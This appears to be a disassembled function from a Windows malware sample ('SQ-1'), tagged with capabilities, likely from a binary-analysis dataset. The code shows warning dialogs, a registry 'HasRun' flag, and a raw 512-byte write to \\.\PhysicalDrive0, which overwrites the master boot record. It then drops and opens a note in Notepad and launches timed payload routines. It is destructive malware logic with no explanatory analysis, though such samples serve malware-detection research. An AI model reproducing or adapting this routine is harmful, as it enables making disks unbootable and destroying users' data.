Function at 0x401c70
Capabilities:
Create process on windows
Get common file path
Set registry value
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43f490
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x1a0
mov eax, dword [0x458004]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.USER32.dll_MessageBoxW]
push 0x34
push str.this_is_not_eric_parkers_discord_server
push str.This_is_an_EARLY_version_of_SQ_1__aka
push 0
call esi
cmp eax, 7
jne 0x401cd4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x34
push 0x45016c
push str.THIS_IS_YOUR_FINAL_WARNING._r_n_r_nTHERE_IS_NO_GOING_BACK_AFTER_THIS_POINT._r_n_r_nTHE_CREATOR_IS_NOT_RESPONSIBLE_FOR_ANY_DAMAGE_DONE_WITH_THIS_MALWARE._r_n_r_n___D_o__y_o_u__w_a_n_t__t_o__c_o_n_t_i_n_u_e___
push 0
call esi
push 0
cmp eax, 7
jne 0x401cf1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0x1b0]
mov dword [ebp - 0x140], 1
push eax
push 0
push 0x20006
push 0
push 0
push 0
push str.SoftwareSQ_1
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x401d4d
push 4
lea eax, [ebp - 0x140]
push eax
push 4
push 0
push str.HasRun
push dword [ebp - 0x1b0]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x1b0]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
mov esi, eax
push 0
lea eax, [ebp - 0x124]
push eax
push 0x200
push 0x44fab8
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x120]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str.tempnote.txt
lea eax, [ebp - 0x120]
push 0x104
push eax
call fcn.004128ab
add esp, 0xc
lea eax, [ebp - 0x120]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401e19
push 0
lea eax, [ebp - 0x124]
push eax
push 0x9b
push str.Your_computer_tried_to_calculate_the_square_root_of__1._r_n_r_nYour_computer_cannot_calculate_the_square_root_of__1._r_n_r_ni_is_going_to_terminate_the_system_now.
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 5
push 0
lea eax, [ebp - 0x120]
push eax
push str.notepad.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x401e2d
push 0x10
push str.Error
push str.Failed_to_create_temporary_file.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x405180
lea ecx, [ebp - 0x15c]
call fcn.00402e00
push 0x405270
lea ecx, [ebp - 0x164]
mov dword [ebp - 4], 0
call fcn.00402e00
push 8
mov byte [ebp - 4], 1
call fcn.00409343
mov esi, eax
add esp, 4
lea eax, [ebp - 0x15c]
mov dword [ebp - 0x124], esi
mov dword [esi], eax
mov dword [esi + 4], 0x404ba0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x154]
xorps xmm0, xmm0
mov dword [ebp - 0x144], 0
movups xmmword [ebp - 0x154], xmm0
call fcn.00401230
mov dword [ebp - 0x154], 0x45045c
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x144], esi
lea eax, [ebp - 0x16c]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x154]
call fcn.00401300
mov eax, dword [ebp - 0x144]
test eax, eax
je 0x401ee1
push 8
push eax
call fcn.00409373
add esp, 8
mov byte [ebp - 4], 4
mov esi, dword [ebp - 0x14c]
mov edi, dword [ebp - 0x150]
push esi
call fcn.0040a9f8
add esp, 4
test eax, eax
je 0x401f07
push eax
call fcn.0040a503
add esp, 4
push esi
call fcn.0040a93c
add esp, 4
push edi
call fcn.0040a3bc
add esp, 4
mov byte [ebp - 4], 5
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x2710
call esi
push 0x4055f0
lea ecx, [ebp - 0x174]
call fcn.00402e00
push 0x3a98
mov byte [ebp - 4], 6
call esi
push 0x4053c0
lea ecx, [ebp - 0x17c]
call fcn.00402e00
push 0x1388
mov byte [ebp - 4], 7
call esi
push 0x405540
lea ecx, [ebp - 0x184]
call fcn.00402e00
push 0x1388
mov byte [ebp - 4], 8
call esi
push 0x405680
lea ecx, [ebp - 0x18c]
call fcn.00402e00
push 0x7530
mov byte [ebp - 4], 9
call esi
push 0x405780
lea ecx, [ebp - 0x194]
mov byte [0x45b46c], 1
call fcn.00402e00
push 0x4e20
mov byte [ebp - 4], 0xa
call esi
push 0x405c30
lea ecx, [ebp - 0x12c]
call fcn.00402e00
push 0x4056c0
lea ecx, [ebp - 0x19c]
mov byte [ebp - 4], 0xb
call fcn.00402e00
mov byte [ebp - 4], 0xc
mov eax, dword [ebp - 0x128]
test eax, eax
jne 0x402008
push 1
call fcn.0040a530
mov eax, dword [ebp - 0x128]
add esp, 4
test eax, eax
jne 0x402008
push 1
call fcn.0040a530
add esp, 4
call sub.KERNEL32.dll_GetCurrentThreadId
mov ecx, dword [ebp - 0x128]
cmp ecx, eax
jne 0x402027
push 5
call fcn.0040a530
mov ecx, dword [ebp - 0x128]
add esp, 4
push 0
push ecx
push dword [ebp - 0x12c]
call fcn.0040ab2d
add esp, 0xc
test eax, eax
je 0x402046
push 2
call fcn.0040a530
add esp, 4
push 0x405dc0
lea ecx, [ebp - 0x134]
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x128], 0
call fcn.00402e00
push 0x4059e0
lea ecx, [ebp - 0x1a4]
mov byte [ebp - 4], 0xd
call fcn.00402e00
mov byte [ebp - 4], 0xe
mov eax, dword [ebp - 0x130]
test eax, eax
jne 0x4020aa
push 1
call fcn.0040a530
mov eax, dword [ebp - 0x130]
add esp, 4
test eax, eax
jne 0x4020aa
push 1
call fcn.0040a530
add esp, 4
call sub.KERNEL32.dll_GetCurrentThreadId
mov ecx, dword [ebp - 0x130]
cmp ecx, eax
jne 0x4020c9
push 5
call fcn.0040a530
mov ecx, dword [ebp - 0x130]
add esp, 4
push 0
push ecx
push dword [ebp - 0x134]
call fcn.0040ab2d
add esp, 0xc
test eax, eax
je 0x4020e8
push 2
call fcn.0040a530
add esp, 4
push 0x406020
lea ecx, [ebp - 0x13c]
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0
mov byte [0x45b46d], 1
call fcn.00402e00
push 0x405930
lea ecx, [ebp - 0x1ac]
mov byte [ebp - 4], 0xf
call fcn.00402e00
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0x138], 0
jne 0x402151
push 1
call fcn.0040a530
add esp, 4
cmp dword [ebp - 0x138], 0
jne 0x402151
push 1
call fcn.0040a530
add esp, 4
call sub.KERNEL32.dll_GetCurrentThreadId
mov ecx, dword [ebp - 0x138]
cmp ecx, eax
jne 0x402170
push 5
call fcn.0040a530
mov ecx, dword [ebp - 0x138]
add esp, 4
push 0
push ecx
push dword [ebp - 0x13c]
call fcn.0040ab2d
add esp, 0xc
test eax, eax
je 0x40218f
push 2
call fcn.0040a530
add esp, 4
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x138], 0
call fcn.004022b0
push 0x64
call esi
jmp 0x4021a8